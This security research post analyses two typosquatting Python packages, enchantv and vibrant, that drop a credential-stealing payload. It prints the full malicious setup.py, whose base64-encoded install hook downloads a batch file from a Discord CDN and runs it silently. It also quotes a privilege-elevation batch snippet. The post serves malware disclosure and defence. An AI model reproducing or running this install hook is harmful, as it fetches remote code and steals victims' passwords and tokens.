Two Typosquatting Python Packages Exploit Discord CDN to Deploy Malicious Payloads for Data Theft and System Manipulation
Socket discovered two malicious Python packages, enchantv and vibrant, imitating popular packages and targeting victims via a base64 encoded payload in their setup files.
Socket Research Team
Sarah Gooding
February 16, 2024
On December 25th, the Socket AI scanner flagged two Python packages, enchantv and vibrant, as potentially malicious. Subsequent analysis by the Socket Research Team confirmed that the packages were deploying malware via a base64 encoded payload in their setup files and using a Discord CDN for batch script execution.
The two packages, which perform malicious actions, including data theft and system manipulation, included similar code and Indicators of Compromise (IOC’s). This suggests that the publisher could be the same person or same group of people.
The vibrant package may have been created to impersonate the vibrant-python package, which produces color palettes from images and receives approximately 500 downloads per month.
In the following, we take a closer look at the packages in question, starting with their package information files:
enchantv 1.0.0
vibrant 1.0.0
As per the descriptions above, the contact email listed is the same: administration@nulled.to. The domain name ‘nulled.to’ is a popular hacker’s forum where stolen data is traded.
The package name suggests that it targets typosquatting victims who searched for ‘pyenchant’, although the package author did little to make the malicious package's details more convincing beyond simply laying the typosquatting trap.
Taking note of all the artifacts, the Socket Research Team decided to undertake a deep dive analysis.
The ‘setup.py’ contains a base64 encoded payload. Upon decoding the payload, it was observed that it downloads a batch script from a Discord CDN and executes it silently.
import setuptools
from setuptools.command.install import install
from setuptools.command.develop import develop
import base64
import os
def b64d(base64_code):
base64_bytes = base64_code.encode('ascii')
code_bytes = base64.b64decode(base64_bytes)
code = code_bytes.decode('ascii')
return code
def notmalfunc():
os.system(b64d("Y3VybCAtcyAtbyAldGVtcCVcc3RyaW5ncy5iYXQgaHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTE2OTQxNDg0NDY4OTE3NDU4OC8xMTg4OTQ1Mzc0MzEyOTQzNjY1L3N0cmluZ3MuYmF0ICYmIHN0YXJ0IC9taW4gY21kIC9jICV0ZW1wJVxzdHJpbmdzLmJhdA=="))
class AfterDevelop(develop):
def run(self):
develop.run(self)
class AfterInstall(install):
def run(self):
install.run(self)
notmalfunc()
setuptools.setup(
name = "enchantV",
version = "1.0.0",
author = "nulled",
author_email = "administration@nulled.to",
description = "A test package we are working on, please stay tuned",
long_description = "nothing to see here yet!",
long_description_content_type = "text/markdown",
url = "https://github.com/Valuent",
project_urls = {
"Bug Tracker": "https://github.com/Valuent/pippackage/issues",
},
classifiers = [
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
package_dir = {"": "src"},
packages = setuptools.find_packages(where="src"),
python_requires = ">=3.6",
cmdclass={
'develop': AfterDevelop,
'install': AfterInstall,
},
)
From the above we can understand threat It is saving a strings.bat in the temp directory of the user's operating system. Once the bat file is downloaded, it has two parts with huge white space in between such that a reviewer may oversee the malicious part of the code.
For the subsequent analysis, we break down the code into two parts.
Part 1 of the Code:
This batch script checks if it's running with administrative privileges. If not, it relaunches itself with elevated permissions using PowerShell. This ensures that it can perform administrative tasks securely.
@echo off
if not "%1"=="am_admin" (
powershell -Command "Start-Process -Verb RunAs -FilePath '%0' -ArgumentList 'am_admin'"
exit /b
)
Part 2 of the Code:
This script creates a PowerShell script (powershell.ps1) with several functions and tasks. Here's a summary of what it does:
Defines a function CHECK_IF_ADMIN to check if the script is running with administrative privileges.
Defines a function TASKS to perform various tasks, including:
Checking for the existence of a directory ($env:APPDATA\KDOT) and adding exclusion paths for Windows Defender if it doesn't exist.
Checking if a scheduled task named "KDOT" exists; if not, creating a new scheduled task to run a PowerShell script (KDOT.ps1) at startup.
Performing additional actions (Grub) such as retrieving system information, grabbing the IP address, creating Discord webhook messages, and more.
Defines a function Grub to perform additional actions, including gathering system information, creating Discord webhook messages, and downloading and executing an executable (main.exe) from a GitHub release.
Checks if the script is running with administrative privileges. If not, it attempts to relaunch itself with elevated permissions.
Sets PowerShell execution policy to Unrestricted for the current user.
Executes the PowerShell script (powershell.ps1) silently and deletes it afterward.
Exits the batch script.
Overall, the script is performing malicious actions such as checking for administrative privileges, executing system commands, gathering information, and sending data to a Discord webhook. It then attempts to elevate its privileges if necessary and executes the PowerShell script silently.
The executable hosted on GitHub is from a repository called PowerShell Token Grabber, which explicitly states that the tool is made for data exfiltration. The information collected is sent using Discord webhooks. This project was created to steal the following types of sensitive data:
Wifi passwords
Files: 2fa, backupcodes, seedphrases, passwords, etc.
Webcam and Desktop Screenshots
Session Stealers for messaging, gaming, and VPN clients